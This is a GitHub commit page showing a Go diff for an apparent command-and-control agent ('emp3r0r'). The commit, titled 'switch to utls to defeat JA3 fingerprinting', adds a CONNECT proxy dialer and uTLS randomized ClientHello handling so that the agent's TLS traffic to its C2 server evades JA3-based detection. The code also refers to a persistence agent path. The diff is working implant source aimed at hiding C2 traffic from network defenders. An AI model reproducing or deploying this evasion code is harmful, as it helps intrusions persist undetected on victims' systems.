Skip to content

Commit

Permalink
feature: switch to utls to defeat JA3 fingerprinting
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jun 21, 2023
1 parent d7b8465 commit b9bf54f
Show file tree
Hide file tree
Showing 8 changed files with 443 additions and 19 deletions.
2 changes: 1 addition & 1 deletion core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -283,7 +283,7 @@ test_agent:
}

// apply whatever proxy setting we have just added
emp3r0r_data.HTTPClient = tun.EmpHTTPClient(agent.RuntimeConfig.C2TransportProxy)
emp3r0r_data.HTTPClient = tun.EmpHTTPClient(emp3r0r_data.CCAddress, agent.RuntimeConfig.C2TransportProxy)
if agent.RuntimeConfig.C2TransportProxy != "" {
log.Printf("Using proxy: %s", agent.RuntimeConfig.C2TransportProxy)
} else {
Expand Down
2 changes: 1 addition & 1 deletion core/cmd/agent/main_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -216,7 +216,7 @@ test_agent:
}

// apply whatever proxy setting we have just added
emp3r0r_data.HTTPClient = tun.EmpHTTPClient(agent.RuntimeConfig.C2TransportProxy)
emp3r0r_data.HTTPClient = tun.EmpHTTPClient(emp3r0r_data.CCAddress, agent.RuntimeConfig.C2TransportProxy)
if agent.RuntimeConfig.C2TransportProxy != "" {
log.Printf("Using proxy: %s", agent.RuntimeConfig.C2TransportProxy)
} else {
Expand Down
2 changes: 2 additions & 0 deletions core/go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ require (
github.com/otiai10/copy v1.10.0
github.com/pkg/sftp v1.13.5
github.com/posener/h2conn v0.0.0-20180911140238-13e7df33ed15
github.com/refraction-networking/utls v1.3.2
github.com/schollz/progressbar/v3 v3.13.1
github.com/shadowsocks/go-shadowsocks2 v0.1.5
github.com/shirou/gopsutil/v3 v3.23.3
Expand All @@ -47,6 +48,7 @@ require (
github.com/chzyer/test v1.0.0 // indirect
github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5 // indirect
github.com/frankban/quicktest v1.14.3 // indirect
github.com/gaukas/godicttls v0.0.3 // indirect
github.com/gen2brain/shm v0.0.0-20221026125803-c33c9e32b1c8 // indirect
github.com/ghodss/yaml v1.0.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/ftp.go
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ func DownloadViaCC(file_to_download, path string) (data []byte, err error) {

// use EmpHTTPClient
client := grab.NewClient()
client.HTTPClient = tun.EmpHTTPClient(RuntimeConfig.C2TransportProxy)
client.HTTPClient = tun.EmpHTTPClient(emp3r0r_data.CCAddress, RuntimeConfig.C2TransportProxy)

req, err := grab.NewRequest(path, url)
if err != nil {
Expand Down
2 changes: 1 addition & 1 deletion core/lib/data/def.go
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ var (
GuardianAgentPath = "[persistence_agent_path]"

// will be updated by ReadJSONConfig
CCAddress = ""
CCAddress = "" // in form https://host:port
LibPath = ""
DefaultShell = ""

Expand Down
103 changes: 103 additions & 0 deletions core/lib/tun/proxy_http.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
package tun

import (
"bufio"
"encoding/base64"
"fmt"
"net"
"net/http"
"net/url"

utls "github.com/refraction-networking/utls"
"golang.org/x/net/proxy"
)

// https://tools.ietf.org/html/rfc7231#section-4.3.6
// Conceivably we could also proxy over HTTP/2:
// https://httpwg.org/specs/rfc7540.html#CONNECT
// https://github.com/caddyserver/forwardproxy/blob/05b2092e07f9d10b3803d8fb9775d2f87dc58590/httpclient/httpclient.go

type httpProxy struct {
network, addr string
auth *proxy.Auth
forward proxy.Dialer
}

func (pr *httpProxy) Dial(network, addr string) (net.Conn, error) {
connectReq := &http.Request{
Method: "CONNECT",
URL: &url.URL{Opaque: addr},
Host: addr,
Header: make(http.Header),
}
// http.Transport has a ProxyConnectHeader field that we are ignoring
// here.
if pr.auth != nil {
connectReq.Header.Set("Proxy-Authorization", "basic "+
base64.StdEncoding.EncodeToString([]byte(pr.auth.User+":"+pr.auth.Password)))
}

conn, err := pr.forward.Dial(pr.network, pr.addr)
if err != nil {
return nil, err
}

err = connectReq.Write(conn)
if err != nil {
conn.Close()
return nil, err
}

// The Go stdlib says: "Okay to use and discard buffered reader here,
// because TLS server will not speak until spoken to."
br := bufio.NewReader(conn)
resp, err := http.ReadResponse(br, connectReq)
if br.Buffered() != 0 {
panic(br.Buffered())
}
if err != nil {
conn.Close()
return nil, err
}
if resp.StatusCode != 200 {
conn.Close()
return nil, fmt.Errorf("proxy server returned %q", resp.Status)
}

return conn, nil
}

func ProxyHTTP(network, addr string, auth *proxy.Auth, forward proxy.Dialer) (*httpProxy, error) {
return &httpProxy{
network: network,
addr: addr,
auth: auth,
forward: forward,
}, nil
}

type UTLSDialer struct {
config *utls.Config
clientHelloID *utls.ClientHelloID
forward proxy.Dialer
}

func (dialer *UTLSDialer) Dial(network, addr string) (net.Conn, error) {
return dialUTLS(network, addr, dialer.config, dialer.clientHelloID, dialer.forward)
}

func ProxyHTTPS(network, addr string, auth *proxy.Auth, forward proxy.Dialer, cfg *utls.Config, clientHelloID *utls.ClientHelloID) (*httpProxy, error) {
return &httpProxy{
network: network,
addr: addr,
auth: auth,
forward: &UTLSDialer{
config: cfg,
// We use the same uTLS ClientHelloID for the TLS
// connection to the HTTPS proxy, as we use for the TLS
// connection through the tunnel.
clientHelloID: clientHelloID,
forward: forward,
},
}, nil
}
42 changes: 27 additions & 15 deletions core/lib/tun/tls.go
Original file line number Diff line number Diff line change
@@ -1,15 +1,13 @@
package tun

import (
"crypto/tls"
"crypto/x509"
"log"
"net/http"
"net/url"
"time"

"github.com/fatih/color"
"golang.org/x/net/http2"
utls "github.com/refraction-networking/utls"
)

var (
Expand All @@ -23,40 +21,54 @@ var (
)

// EmpHTTPClient add our CA to trusted CAs, while keeps TLS InsecureVerify on
func EmpHTTPClient(proxyServer string) *http.Client {
func EmpHTTPClient(c2_addr, proxyServer string) *http.Client {
// start with an empty pool
rootCAs := x509.NewCertPool()

// C2 URL
c2url, err := url.Parse(c2_addr)
if err != nil {
LogFatalError("Erro parsing C2 address '%s': %v", c2_addr, err)
}

// C2 host
c2_host := c2url.Hostname()

// add our cert
if ok := rootCAs.AppendCertsFromPEM(CACrt); !ok {
LogFatalError("No CA certs appended")
}

// Trust the augmented cert pool in our TLS client
config := &tls.Config{
config := &utls.Config{
ServerName: c2_host,
InsecureSkipVerify: false,
RootCAs: rootCAs,
}

// transport of our http client, with configured TLS client
tr := &http.Transport{
TLSClientConfig: config,
TLSHandshakeTimeout: 10 * time.Second,
}

// use a proxy for our HTTP client
// set proxyURL to nil to use direct connection for C2 transport
proxyDialer, err := makeProxyDialer(nil, config, clientHelloIDMap["hellorandomizedalpn"])
if proxyServer != "" {
// use a proxy for our HTTP client
proxyUrl, err := url.Parse(proxyServer)
if err != nil {
LogFatalError("Invalid proxy: %v", err)
}
tr.Proxy = http.ProxyURL(proxyUrl)

proxyDialer, err = makeProxyDialer(proxyUrl, config, clientHelloIDMap["hellorandomizedalpn"])
}
err := http2.ConfigureTransport(tr) // upgrade to HTTP2, while keeping http.Transport

// transport of our http client, with configured TLS client
tr, err := makeTransport(c2url, clientHelloIDMap["hellorandomizedalpn"], config, proxyDialer)
if err != nil {
LogFatalError("Cannot switch to HTTP2: %v", err)
LogFatalError("makeRoundTripper: %v", err)
}

// err = http2.ConfigureTransport(tr) // upgrade to HTTP2, while keeping http.Transport
// if err != nil {
// LogFatalError("Cannot switch to HTTP2: %v", err)
// }

return &http.Client{Transport: tr}
}

Expand Down
Loading

0 comments on commit b9bf54f

Please sign in to comment.